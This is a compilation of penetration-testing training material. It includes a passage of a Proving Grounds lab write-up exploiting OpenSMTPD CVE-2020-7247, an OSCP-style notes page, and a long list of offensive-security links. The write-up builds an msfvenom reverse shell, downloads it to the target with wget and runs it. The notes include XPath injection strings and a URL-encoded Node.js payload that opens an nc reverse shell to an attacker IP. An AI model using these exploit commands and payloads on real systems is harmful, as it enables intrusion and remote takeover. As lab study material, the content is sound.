_smtpd:x:1001:1001:SMTP Daemon:/var/empty:/sbin/nologin
_smtpq:x:1002:1002:SMTPD Queue:/var/empty:/sbin/nologin
postgres:x:111:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
```
```bash
sudo nmap 192.168.132.71 -A -oN scans/bratarina-nmap-aggresive
# output
Aggressive OS guesses: Linux 2.6.32 (88%), Linux 2.6.32 or 3.10 (88%), Linux 3.5 (88%), Linux 4.2 (88%), Linux 4.4 (88%), Synology DiskStation Manager 5.1 (88%), WatchGuard Fireware 11.8 (88%), Linux 2.6.35 (87%), Linux 2.6.39 (87%), Linux 3.10 - 3.12 (87%)
No exact OS matches for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.54 seconds
```
## OS
### Nmap OS Discovery Scan
```bash
sudo nmap $TARGET -O -oN scans/$NAME-nmap-os
# output
Nmap scan report for 192.168.132.71
Host is up (0.077s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
53/tcp closed domain
80/tcp open http
445/tcp open microsoft-ds
Aggressive OS guesses: Linux 2.6.32 (88%), Linux 2.6.32 or 3.10 (88%), Linux 3.5 (88%), Linux 4.2 (88%), Linux 4.4 (88%), Synology DiskStation Manager 5.1 (88%), WatchGuard Fireware 11.8 (88%), Linux 2.6.35 (87%), Linux 2.6.39 (87%), Linux 3.10 - 3.12 (87%)
No exact OS matches for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 3 11:10:14 2021 -- 1 IP address (1 host up) scanned in 12.54 seconds
```
### Nmap OS Discovery Scan via SMB
```bash
sudo nmap $TARGET -p445 --script smb-os-discovery -oN scans/$NAME-nmap-os-smb
# output
nmap scan report for 192.168.132.71
Host is up (0.075s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: bratarina
| NetBIOS computer name: BRATARINA\x00
| Domain name: \x00
| FQDN: bratarina
|_ System time: 2021-07-03T11:11:28-04:00
# Nmap done at Sat Jul 3 11:11:30 2021 -- 1 IP address (1 host up) scanned in 3.28 seconds
```
# Exploit
## CVE-2020-7247
### EDB-ID-47984
This works!
```bash
searchsploit opensmtpd
mkdir edb-id-47984
cd edb-id-47984
searchsploit -m 47984
# this works!
sudo tcpdump -i tun0 icmp
python 47984.py 192.168.141.71 25 'ping -c2 192.168.49.141'
# this works!
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.141 LPORT=443 -f elf -o rshell
sudo nc -nvlp 443 # walkthrough uses TCP port 445
sudo python3 -m http.server 80
python3 47984.py 192.168.141.71 25 'wget 192.168.49.141/rshell -O /tmp/rshell'
python3 47984.py 192.168.141.71 25 'chmod +x /tmp/shell'
python3 47984.py 192.168.141.71 25 '/tmp/shell'
ifconfig -a && hostname && whoami
```
### Metasploit
This works!
```bash
sudo msfconsole
search opensmtpd
exploit/unix/smtp/opensmtpd_mail_from_rce
set RHOST 192.168.141.71
set LHOST tun0
set LPORT 25
run
ifconfig -a && hostname && whoami
```
# Lessons Learned
* Search Exploit-DB using a traditional, GUI web browser in addition to what is found via Searchsploit.
* Prioritize exploits where the exploit has been confirmed by OffSec and the vulnerable software is available for download.
* You probably found the right exploit if the target is running a relevant service version.
|
### Proving Grounds Writeups
- AD:Heist, Hutch, Vault, Resourced
- BOF:Malbec
- WordPress:SunsetMidnight
- SQLi:Butch
- LibreOffice:Hepet, Craft
- SeImpersonatePrivilege:Craft
- container:Sirol
#### Exploits
- [WordPress Core < 5.2.3](https://www.exploit-db.com/exploits/47690)
- [XAMPP 7.4.3 - Local Privilege Escalation](https://www.exploit-db.com/exploits/50337)
- [PHP 8.1.0 RCE](https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py)
- [Apache HTTP Server 2.4.49 & 2.4.50 RCE](https://www.exploit-db.com/exploits/50383)
- [MariaDB 10.2 < 10.2.37, 10.3 < 10.3.28, 10.4 < 10.4.18, and 10.5 < 10.5.9, CVE-2021-27928](https://www.exploit-db.com/exploits/49765)
#### Notes
- When we are unable to obtain a normal response from a remote service using Telnet, it is worth trying Netcat instead.
- Note the directory traversal status code ```401```. A page exists that just needs to be verified.
- Check to see whether the site is enabled for both ```http``` and ```https``` services.
- If database brute-force attack with Hydra triggers ```max_connect_errors``` error. (mysql> show variables like '%[max_connect_errors](https://dev.mysql.com/doc/refman/5.6/en/server-system-variables.html#sysvar_max_connect_errors)%';)[(*understanding max_connect_errors*)](https://www.virtual-dba.com/blog/mysql-max-connect-errors/)
- [SQLi(manually)](https://github.com/tedchen0001/OSCP-Notes/blob/master/SQLi(manually).md)
- If the site is encrypted, check the ```DNS name``` in the ```certificate``` through browser.
- linpeas: ```Unknown SUID binary```
- Note that the site's upload folder may be writable.
- Check the active ports and using curl to check the service. [frp](https://github.com/fatedier/frp):frpc for target, frps for attacker.
- Check the unknown SUID binaries execution result.
- If the target server does not install mysql client tool try using mysqldump.
- Note that the root folder is accessible through a vulnerability and can be placed SSH public key.
- [Bypass](https://vk9-sec.com/bypass-30x-redirect-with-burpsuite/) HTTP 30X.
- If you already have root privileges, note whether you can escape environment, e.g., docker.
- Note the ```opt``` folder.
- Symbolic links(Symlinks) can be abused to cause elevation of privilege.
- Note the ```tasks``` scheduled using ```system timers``` (command:systemctl list-timers, services location:/etc/systemd/system/).
- The ```/etc/sudoers``` file controls who can run what commands as what users on what machines and can also control special things such as whether you need a password for particular commands (https://help.ubuntu.com/community/Sudoers).
- Note that sending test command between different OS when we using poc exploit.
- Note that when we use the exploit test command between different operating systems such as ```id``` and ```whoami```. (You may have found the right exploit but used the wrong test command.)
- Note the creator information in any files we download from the target, e.g., ```pdf```, ```doc```.
- If it is a windows machine, check the ```Program Files``` and ```Program Files (x86)``` folder to see if additional software is installed.
- Note the interesting executable file. ```ILSpy``` .NET assembly browser and decompiler. (Visual Studio Community version also supports)
- Check the information dumped from the AD environment. For example, using the ```ldapdomaindump``` to get the ```domain_users.json``` file and check all the values.
- Proxychains / Forwarding Ports.
- To accelerate nmap scans, you can decrease the timeout duration, it's important to note that it may affect the accuracy of the results.
`/etc/proxychains4.conf => tcp_read_time_out, tcp_connect_time_out`
- If the ```Git repository``` exists, use the ```ls -la``` command to check all (hidden) files after downloading.
```shell
git log
git show <commit-id>
# web folder
# https://github.com/arthaud/git-dumper
git-dumper http://192.168.1.100/.git <output directory>
```
- Even if we have got the contents of the website from other services such as ftp, we can still do an enumeration of the website directory to make sure that all contents have been found. Note that the file contents may not be the same either.
- If the generated ```cookie``` does not work, note the system time in the VM.
- You can unzip the executable file and check the files it contains.
- If you want to run a file through a schedule set by another user, be careful to use a directory that the user can also access, not `tmp` folder.
- We can also check the cookies of the website.
- Note that some Windows exploit exe files must be run in cmd mode, not in powershell.
- When using the python exploit script, note that the input parameters are case-sensitive.
- `Bad Request - Invalid Hostname. HTTP Error 400. The request hostname is invalid.` you may need to provide a specific fully qualified domain name (FQDN).
- If essential components are missing when running the exploit file, try compiling it on the target machine. For example, 'GLIBC_2.34' not found.
- Check for any hidden directories or files, such as git.
- When collecting the user list, it is possible to include administrator as well. (AD)
- Note the files in the recycle bin.
- Discovery of multiple web directories using multiple wordlists.
```shell
for file in $(ls /usr/share/seclists/Discovery/Web-Content); do gobuster dir -u http://<target ip> -w /usr/share/seclists/Discovery/Web-Content/$file -e -k -b "404,500" -t 20 ; done
```
- Reusing Credentials.
- Don't forget about Kernel Exploits.
- Analyze the code files discovered during the enumeration process.
- Windows Privilege Escalation is crucial.
#### Commands
Used in `Depreciated`
GraphQL
```graphql
{__schema{types{name,fields{name}}}}
{listUsers}
{getOTP(username:"peter")}
```
Used in `Wheels`
XPATH Injection (XML data)
```
') or 1=1 or ('
')] | //password%00
```
Used in `ProStore`
Node.js
https://medium.com/r3d-buck3t/eval-console-log-rce-warning-be68e92c3090
```
# we are conducting some tests
parameter=(%32%2b%32)
parameter=(%32%2b%31)
parameter=require('child_process').exec('rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20192.168.x.x%2080%20%3E%2Ftmp%2Ff')
``` |
# Awesome-PenTest-Practice
### Tips, Materials and commands that you can use in CTFs, RealPenTest and even Bug Bounty!
#### My LinkedIn: https://www.linkedin.com/in/joas-antonio-dos-santos/ >> Contains more than 170 articles by Red and Blue Team
----------------------------------------------------------------------------------------------
#### Nmap Tricks:
nmap -sV -Pn --top-ports 1000 --min-rate 200 --max-rate 400 -T5 192.168.0.1/24 = High Fast Nmap Scan
nmap -v -sV -T5 --top-ports 1000 --min-rate 200 --max-rate 400 --scan-delay 2 --max-scan-delay 4 --min-rtt-timeout 2 --max-rtt-timeout 3 initial-rtt-timeout 1 192.168.0.1/24 = Ultra High Fast Nmap Scan
nmap --top-ports 1000 -sV -v --ttl 10 --badsum TCP -f --mtu 16 192.168.0.1/24 = Evasion Firewall
nmap --top-ports 1000 -sV -v --ttl 10 -f --mtu 16 192.168.0.1/24 = Evasion Firewall 2
https://www.liquidweb.com/kb/using-nmap-pro-tips-and-tricks/
https://blog.urfix.com/10-cool-nmap-tricks-techniques/
https://medium.com/@iphelix/nmap-scanning-tips-and-tricks-5b4a3d2151b3
----------------------------------------------------------------------------------------------
#### Nmap Evasion Techniques:
http://www.dimz-it.com/berkas/Nmap_Firewall_Evasion_Techniques.pdf
https://nmap.org/book/firewall-subversion.html
https://dzone.com/articles/firewall-bypassing-techniques-with-nmap-and-hping3
https://www.youtube.com/watch?v=d5-wBkMRPQU (Hak5 Evade Firewall)
https://www.youtube.com/watch?v=4t4kBkMsDbQ&ab_channel=NetworkChuck (Network Chuck Nmap)
https://github.com/jasonniebauer/Nmap-Cheatsheet
----------------------------------------------------------------------------------------------
#### Bug Bounty Tricks and Techniques:
https://github.com/KingOfBugbounty/KingOfBugBountyTips
https://github.com/djadmin/awesome-bug-bounty
https://github.com/Muhammd/awesome-bug-bounty
https://github.com/ngalongc/bug-bounty-reference
https://github.com/djadmin/awesome-bug-bounty
https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters
https://github.com/EdOverflow/bugbounty-cheatsheet
https://github.com/EdOverflow/bugbountyguide
https://github.com/devanshbatham/Awesome-Bugbounty-Writeups
https://github.com/1hack0/Facebook-Bug-Bounty-Write-ups
https://pentester.land/list-of-bug-bounty-writeups.html
https://medium.com/bugbountywriteup
CSRF Poc Generator (https://github.com/merttasci/csrf-poc-generator)
SubOver (https://github.com/Ice3man543/SubOver)
Knock SubDomain (https://github.com/guelfoweb/knock)
XSS Payloads (https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
SQL Injection Payloads (https://github.com/payloadbox/sql-injection-payload-list)
Trick Recon (https://www.linkedin.com/pulse/tricks-de-recon-ataide-junior/?trackingId=lo%2FwG4h%2FSemwGplcWrHIhA%3D%3D)
----------------------------------------------------------------------------------------------
#### Red Team - Tools and Techniques
https://github.com/infosecn1nja/Red-Teaming-Toolkit
https://github.com/yeyintminthuhtut/Awesome-Red-Teaming
https://github.com/m0nad/awesome-privilege-escalation
https://github.com/D35m0nd142/LFISuite
https://github.com/P0cL4bs/kadimus.git
https://github.com/MrPineMan/Awesome-Reverse-Shell
https://github.com/xl7dev/WebShell
https://portswigger.net/web-security
https://github.com/alphaSeclab/awesome-burp-suite
https://github.com/snoopysecurity/awesome-burp-extensions
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
https://sushant747.gitbooks.io/total-oscp-guide/list_of_common_ports.html
https://github.com/jakejarvis/awesome-shodan-queries
https://github.com/danielmiessler/SecLists
https://github.com/0x4D31/awesome-oscp
https://github.com/Aadi-0110/awesome-oscp
https://github.com/coolx28/Awesome-Oscp
https://github.com/JoaoPauloF/OSCP/blob/master/OSCPnotes.md
https://github.com/husnainfareed/Awesome-Ethical-Hacking-Resources
https://github.com/codeinthedark/awesome-power-mode/commits?author=ceh
https://github.com/Optixal/CEHv10-Notes
https://github.com/g0rbe/CEH
https://github.com/CyberSecurityUP/Guide-CEH-Practical-Master
https://docs.google.com/document/d/e/2PACX-1vTP5OvJToWToMOKyeMyPcIPJhqbnESgWY6dYje9seJY96-ezCEJbXsMkfMWhoqPRaCNRs6BOO7urQyF/pub?fbclid=IwAR3aWZoikOvDgfxxzdfjFsGS60Q9SE8ZL5ROqP6Bzvzuq-fIYbSGoxRjArY
https://drive.google.com/drive/folders/12Mvq6kE2HJDwN2CZhEGWizyWt87YunkU (e-books Joas)
https://www.exploit-db.com/google-hacking-database
https://iftm.edu.br/ERP/MPES/EVENTOS/arquivos/2015_10_16-09_20_01_anexo_resumo_expandido_bruno_rodrigo.pdf
https://www.youtube.com/watch?v=LgBcFpusC7A
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf
https://www.oakton.edu/user/2/rjtaylor/cis101/Google%20Hacking%20101.pdf
https://www.a2hosting.com.br/kb/getting-started-guide/internet-and-networking/troubleshooting-dns-with-dig-and-nslookup
https://ipok.com.br/blog/usando-dig-para-pesquisas-de-dns-parte-1/
https://www.cloudns.net/blog/10-most-used-nslookup-commands/
https://www.somosagility.com.br/como-solucionar-problemas-de-dns-com-dig-e-nslookup-2/
https://www.youtube.com/watch?v=2KzpGjn7M9s
https://github.com/rebootuser/LinEnum
https://github.com/Arr0way/linux-local-enumeration-
https://highon.coffee/blog/linux-local-enumeration-/
https://github.com/Z3R0th-13/Enum
https://github.com/411Hall/JAWS
https://411hall.github.io/JAWS-Enumeration/
https://hakin9.org/privesccheck-privilege-escalation-enumeration--for-windows/
http://literacybasics.ca/strategic-planning/strategic-planning-assesssment/overview-and-information-gathering-tools/
https://www.dlsweb.rmit.edu.au/Toolbox/knowmang/content/gathering_data/information_gathering_methods.htm
https://www.youtube.com/watch?v=WW6myutKBYk
https://www.youtube.com/watch?v=zemNLx0-LRw
https://www.youtube.com/watch?v=xlxpfvlUZLA
https://www.youtube.com/watch?v=Q8hAjEaAgE8
https://www.youtube.com/watch?v=z2EUhV11QB4
https://www.youtube.com/watch?v=Hk-21p2m8YY
https://www.youtube.com/watch?v=GlVb44dD-dA
https://www.youtube.com/watch?v=7XMIFTRiAGA
https://null-byte.wonderhowto.com/how-to/hack-like-pro-advanced-nmap-for-reconnaissance-0151619/
https://www.youtube.com/watch?v=krnpQWDkf_c
https://hackertarget.com/nmap-tutorial/
https://www.youtube.com/watch?v=VFJLMOk6daQ
https://awesomeopensource.com/projects/information-gathering
https://github.com/topics/information-gathering
https://www.hindawi.com/journals/scn/2019/2627608/
https://www.researchgate.net/publication/328430317_Approaches_for_Preventing_Honeypot_Detection_and_Compromise
https://blog.rapid7.com/2016/12/06/introduction-to-honeypots/
https://ccdcoe.org/uploads/2018/10/d3r2s4_haltas.pdf
https://www.incibe-cert.es/en/blog/honeystation-en
https://www.youtube.com/watch?v=fQqWe8br2Gw
https://securityonline.info/adrecon-active-directory-gathering-information-tool/
https://www.youtube.com/watch?v=ze1UcSLOypwMitre Attack Discoverys
https://attack.mitre.org/techniques/T1010/
https://attack.mitre.org/techniques/T1046/
https://attack.mitre.org/techniques/T1007/
https://attack.mitre.org/techniques/T1033/
https://attack.mitre.org/techniques/T1049/
https://attack.mitre.org/techniques/T1063/
https://attack.mitre.org/techniques/T1018/
https://attack.mitre.org/techniques/T1069/
https://attack.mitre.org/techniques/T1201/
https://attack.mitre.org/matrices/enterprise/linux/
Wsus Exploit: Realizar movimento lateral e manipular componentes do WSUS
https://pentestit.com/wsuxploit-weaponized-wsus-exploit-/
https://github.com/AlsidOfficial/WSUSpendu
https://osiriansec.gitbooks.io/infosecuberwiki/chapter1/exploitation/internal/lan-attacks/attack-windows/attack-wsus.html
https://github.com/infosecn1nja/AD-Attack-Defense/blob/master/README.md
Linux Exploitation: Exploração avançadas, métodos de enumeração avançada, escalação de privilégio, pivoting e até exploração de serviços.
https://attack.mitre.org/techniques/T1184/
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://www.youtube.com/watch?v=dk2wsyFiosg
https://tools.kali.org/tools-listing
https://www.youtube.com/watch?v=SyE4y6qZPjM
https://www.youtube.com/watch?v=B2xu0QXXx54
https://www.youtube.com/watch?v=SjwjxQndOs8
https://www.youtube.com/watch?v=_wdESwXdMYg
https://www.youtube.com/watch?v=sZ_-KD5Dksw
https://www.youtube.com/watch?v=gsEvrdcn-DI
https://kalilinuxtutorials.com/infog-information-gathering-tool/
https://www.hackingloops.com/information-gathering-using-kali-linux-for-penetration-testing/
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
https://medium.com/@aptbughunter/my-oscp-experience-0xapt-4fff90a8d408
https://www.offensivecon.org/trainings/2018/linux-kernel-exploitation-techniques-vitaly-nikolenko.html
https://github.com/xairy/linux-kernel-exploitation/blob/master/README.md
https://github.com/xairy/linux-kernel-exploitation
https://www.youtube.com/watch?v=Hrlc3GZQ4bA
https://artkond.com/2017/03/23/pivoting-guide/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md
https://resources.infosecinstitute.com/pivoting-exploit-system-another-network/#gref
https://gtfobins.github.io/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://payatu.com/guide-linux-privilege-escalation
https://medium.com/@falconspy/oscp-approved-tools-b2b4e889e707
https://null-byte.wonderhowto.com/how-to/use-ssh-local-port-forwarding-pivot-into-restricted-networks-0179711/
https://www.cybrary.it/blog/0p3n/pivot-network-port-forwardingredirection-hands-look/
https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html
https://www.youtube.com/watch?v=mQ1hRS8scWM
Windows Exploitation:Vulnerability scanning, pivoting and sideways movement, password cracking and privilege escalation
https://github.com/yeyintminthuhtut/Awesome-Advanced-Windows-Exploitation-References
https://hackersguru.in/windows-exploitation-and-hacking/
https://pt.slideshare.net/utdcsg/advanced-windows-exploitation
https://www.offensive-security.com/offsec/microsoft-dll-hijacking-exploit-in-action/
https://www.youtube.com/watch?v=Pt9a6EQFs9s
https://www.youtube.com/watch?v=XR1F467LTrs
https://www.youtube.com/watch?v=2-kJ7Kh_5C4
https://www.youtube.com/watch?v=FJhVoXwoX_w
https://doublepulsar.com/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
https://www.youtube.com/watch?v=keFx6yYA_WY
Mitre Attack:
https://attack.mitre.org/matrices/enterprise/windows/
https://attack.mitre.org/techniques/T1077/
https://attack.mitre.org/techniques/T1111/
https://attack.mitre.org/techniques/T1174/
https://attack.mitre.org/techniques/T1534/
https://attack.mitre.org/techniques/T1175/
https://attack.mitre.org/techniques/T1075/
https://github.com/gentilkiwi/mimikatz
https://www.varonis.com/blog/what-is-mimikatz/
https://www.youtube.com/watch?v=bTYR_xYSDIk
https://www.youtube.com/watch?v=0TBCzaBklcE
https://www.youtube.com/watch?v=FfoQFKhWUr0
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://osandamalith.com/2019/08/26/converting-an-exe-to-a-dll/?fbclid=IwAR2LtVQnTJy-0M4cM9sEWTydKOSGIiGI9wiqKlD4V33Wtl6mWyd8hlNnBXo
Desenvolvimento de exploits: Buffer Overflow, Bypass Software Protectors, Binary Exploitation, ROP, Shell codes, Fuzzing, Reverse Engineering, Egg Hunters, Debuggers and etc.
https://www.youtube.com/watch?v=iyAyN3GFM7A&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN
https://github.com/FabioBaroni/awesome-exploit-development
https://github.com/mxamusic/awesome-exploit-development
https://www.youtube.com/watch?v=1S0aBV-Waeo&t=1s
https://www.youtube.com/watch?v=1TNecxUBD1w
https://www.youtube.com/watch?v=H2ZTTQX-ma4
https://www.youtube.com/watch?v=59_gjX2HxyA
https://www.youtube.com/watch?v=hrjdAv-aHCY
https://www.youtube.com/watch?v=VX27nq6EcjI&list=PLcKsaFvYl4l87C8_HhxkcFaoNhzC9bRw6
https://www.youtube.com/channel/UCXHBFtUcbhIssuuXXud2WcQ
https://www.youtube.com/watch?v=8Dcj19KGKWM
https://www.youtube.com/watch?v=wDosab_Y4Hs
https://www.youtube.com/watch?v=5FJxC59hMRY
https://www.youtube.com/watch?v=gIJOtP1AC3A&t=9s
https://www.youtube.com/watch?v=4_xSGvD0GNk
https://www.youtube.com/watch?v=6JBRXqT3USI
https://www.youtube.com/watch?v=YgezGxzwD8A
https://www.youtube.com/watch?v=7PMw9GIb8Zs&list=PLBf0hzazHTGPoP8BjixXswrM01ttNkfnp
https://github.com/secfigo/Awesome-Fuzzing
https://github.com/wtsxdev/fuzzing-resources
https://www.hackers-arise.com/post/2017/06/21/exploit-development-part-3-finding-vulnerabilities-by-fuzzing-with-spike
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/babys-first-nxplusaslr-bypass/
https://medium.com/@dontsmokejoints/bypass-nx-and-aslr-with-rop-38a0e46a62da
https://intx0x80.blogspot.com/2018/04/bypass-aslrnx-part-1.html
https://www.youtube.com/watch?v=mPbHroMVepM
https://www.youtube.com/watch?v=BI_fO4gMW4Q
https://awesomeopensource.com/projects/shellcode
https://github.com/codeengn/awesome-korea-security-paper/blob/master/ReverseEngineering/Understanding%20Windows%20Shellcode%20%5Bskape%5D.pdf
https://0x00sec.org/t/linux-shellcoding-part-1-0/289
https://medium.com/@eaugusto/windows-ce-superh3-exploit-development-interlude-usable-null-free-risc-shellcode-and-ascii-3a4bbf3077bf
https://www.exploit-db.com/papers/18273
https://www.exploit-db.com/shellcodes
https://www.offensive-security.com/metasploit-unleashed/payloads/
https://www.offensive-security.com/metasploit-unleashed/payload-types/
https://www.youtube.com/watch?v=a2EkORFcSZo
https://www.youtube.com/watch?v=Ps3mZWQz01s&list=PLIfZMtpPYFP4MaQhy_iR8uM0mJEs7P7s3
https://www.youtube.com/watch?v=RF3-qDy-xMs&list=PLIfZMtpPYFP6_YOrfX79YX79I5V6mS0ci
https://medium.com/@rafaveira3/exploit-development-kolibri-v2-0-http-server-egg-hunter-example-1-5e435aa84879
https://www.fuzzysecurity.com/tutorials/expDev/4.html
https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
https://www.securitysift.com/windows-exploit-development-part-5-locating-shellcode-egghunting/
https://www.shogunlab.com/blog/2017/09/02/zdzg-windows-exploit-3.html
https://securityimpact.net/2017/02/15/exploit-development-4-egg-hunting/
https://connormcgarr.github.io/Exception-Handlers-and-Egg-Hunters/
https://rastating.github.io/creating-a-custom-shellcode-encoder/
https://medium.com/syscall59/writing-a-custom-shellcode-encoder-31816e767611
https://medium.com/@habibiefaried/slae-0x4-combined-method-for-encoding-shellcode-x86-2f8637d87ed9
https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/
https://www.youtube.com/watch?v=vpzpuzqhOCI
https://www.youtube.com/watch?v=IMnKb3BaUvM
http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf
https://www.youtube.com/watch?v=Y-4WHf0of6Y
https://pastebin.com/FvWQZmB7
https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/Exploit%20writing%20tutorial%20part%201-Stack%20Based%20Overflows.pdf
Command and Control (C2): Command and control consists of techniques that opponents can use to communicate with systems under their control in a network of victims. Opponents usually try to mimic normal and expected traffic to avoid detection. There are many ways in which an adversary can establish command and control with varying levels of stealth, depending on the structure of the network and the victim's defenses.
https://medium.com/@jeremy.trinka/five-pentesting-tools-and-techniques-that-sysadmins-should-know-about-4ceca1488bff
https://attack.mitre.org/tactics/TA0011/
https://pentestit.com/list-of-open-source-c2-post-exploitation-frameworks/
https://pentestlab.blog/2017/11/14/command-and-control-website/
https://pentester.land/
https://www.youtube.com/watch?v=bUqu8fh7xUg
https://www.youtube.com/watch?v=eTA7weRp2yk
https://www.youtube.com/watch?v=cK16knLi1Vk
https://www.youtube.com/watch?v=Wk6xobVsZf4
https://www.youtube.com/watch?v=2G5B8uhku78
https://www.youtube.com/watch?v=S_ejYRTM8J0
https://www.youtube.com/watch?v=_L-VW_1tYHA
https://www.trendmicro.com/vinfo/us/security/definition/command-and-control-server
https://www.paloaltonetworks.com/cyberpedia/command-and-control-explained
Web Attacks: Ataques avançados de injeção de SQL, Comando de Sistema, Execução de código remoto, deserialization, XSS impactante, SQL to RCE, XSS to RCE, Bypass File Extensions, IDOR, Open redirect e etc. Ataques que tem grande impactos em aplicações web.
https://owasp.org/www-project-top-ten/
https://github.com/infoslack/awesome-web-hacking
https://github.com/latestalexey/awesome-web-hacking
https://libraries.io/github/infoslack/awesome-web-hacking
https://www.exploit-db.com/papers/13646
https://null-byte.wonderhowto.com/how-to/advanced-techniques-bypass-defeat-xss-filters-part-1-0190257/
https://www.youtube.com/watch?v=zs30qw4CF2U
http://devfuria.com.br/seguranca-da-informacao/owasp-topten-2010/a02-cross-site-ing/
https://www.youtube.com/watch?v=T-EQfydIxu4
https://www.youtube.com/watch?v=O3hb6HV1ZQo&t
https://www.youtube.com/watch?v=FTeE3OrTNoA&t=1s
https://www.youtube.com/watch?v=0dgmeTy7X3I
https://www.youtube.com/watch?v=L5l9lSnNMxg
https://www.youtube.com/watch?v=eDfGpu3iE4Q
https://github.com/pwntester/ysoserial.net
https://www.youtube.com/watch?v=nkTBwbnfesQ
https://medium.com/@notsoshant/a-not-so-blind-rce-with-sql-injection-13838026331e
https://medium.com/bugbountywriteup/sql-injection-to-lfi-to-rce-536bed29a862
https://pwnrules.com/flickr-from-sql-injection-to-rce/
https://medium.com/@knownsec404team/the-analysis-of-mybb-18-20-from-stored-xss-to-rce-7234d7cc0e72
https://github.com/xapax/xss-to-rce
https://blog.ripstech.com/2019/mybb-stored-xss-to-rce/
https://github.com/timip/OSWE
https://github.com/nicolauns/hunter-php-java-obfuscator
https://github.com/tholu/php-packer
https://obfuscator.io/
https://medium.com/nodesimplified/obfuscation-what-is-obfuscation-in-java-why-obfuscation-is-used-f6a5f5bcf022
https://github.com/java-obfuscator/java-obfuscator
https://owasp.org/www-pdf-archive/XML_Based_Attacks_-_OWASP.pdf
https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870
https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/
https://www.netsparker.com/blog/web-security/xxe-xml-external-entity-attacks/
https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf
https://pentestlab.blog/2012/11/29/bypassing-file-upload-restrictions/
https://www.youtube.com/watch?v=Ue3wtxR9s0E
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://github.com/attackercan/REGEXP-SECURITY-CHEATSHEET
https://nvisium.com/blog/2015/06/11/regex-regularly-exploitable.html
https://medium.com/@somdevsangwan/exploiting-regular-expressions-2192dbbd6936
https://portswigger.net/support/sql-injection-bypassing-common-filters
https://owasp.org/www-community/attacks/Session_hijacking_attack
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
https://www.youtube.com/watch?v=fxrCJNQ96Kg
https://www.youtube.com/watch?v=OtlaTf9065w
https://www.youtube.com/watch?v=jYcx7WtbB0A
https://www.geeksforgeeks.org/session-hijacking/
https://www.venafi.com/blog/what-session-hijacking
https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf
https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html
https://www.youtube.com/watch?v=iUbqJy_MOiE
https://www.youtube.com/watch?v=DkKUDbEt46A
https://www.youtube.com/watch?v=Bdpc-LjmKLc
https://portswigger.net/kb/issues/00100500_ldap-injection
https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
https://websec.files.wordpress.com/2010/11/sqli2.pdf
https://medium.com/@Pentestit_ru/bypassing-waf-4cfa1aad16bf
https://owasp.org/www-pdf-archive/OWASP_Stammtisch_Frankfurt_-_Web_Application_Firewall_Bypassing_-_how_to_defeat_the_blue_team_-_2015.10.29.pdf
https://www.youtube.com/watch?v=iQqwQXHwQk0
https://www.youtube.com/watch?v=Z8K_13jzITk
https://www.youtube.com/watch?v=tSf_IXfuzXk
https://www.youtube.com/watch?v=3K1-a7dnA60&t
https://www.youtube.com/watch?v=rloqMGcPMkI
https://www.youtube.com/watch?v=4Jk_I-cw4WE
https://www.youtube.com/watch?v=-nOih7rolX8
https://www.youtube.com/watch?v=HZaYmeOGCmI&list=PLy8t3TIwSh3tMEAjyldNNbjtTmm5G7kFl
https://www.linkedin.com/pulse/t%C3%A9cnica-anti-forenses-para-pentesters-1-b%C3%A1sicas-dos-santos/
https://pentester.land/list-of-bug-bounty-writeups.html
https://www.facebook.com/ExWareLabs/
https://twitter.com/hashtag/bugbountywriteup
https://medium.com/search?q=bug%20bounty
https://github.com/infoslack/awesome-web-hacking
https://github.com/latestalexey/awesome-web-hacking
https://awesomeopensource.com/project/infoslack/awesome-web-hacking
https://owasp.org/www-project-top-ten/
https://owasp.org/www-project-mobile-top-10/
https://github.com/vaib25vicky/awesome-mobile-security
https://www.youtube.com/results?search_query=mobile+hacking
https://www.linkedin.com/search/results/content/?keywords=web%20attacks%20joas&origin=SWITCH_SEARCH_VERTICAL
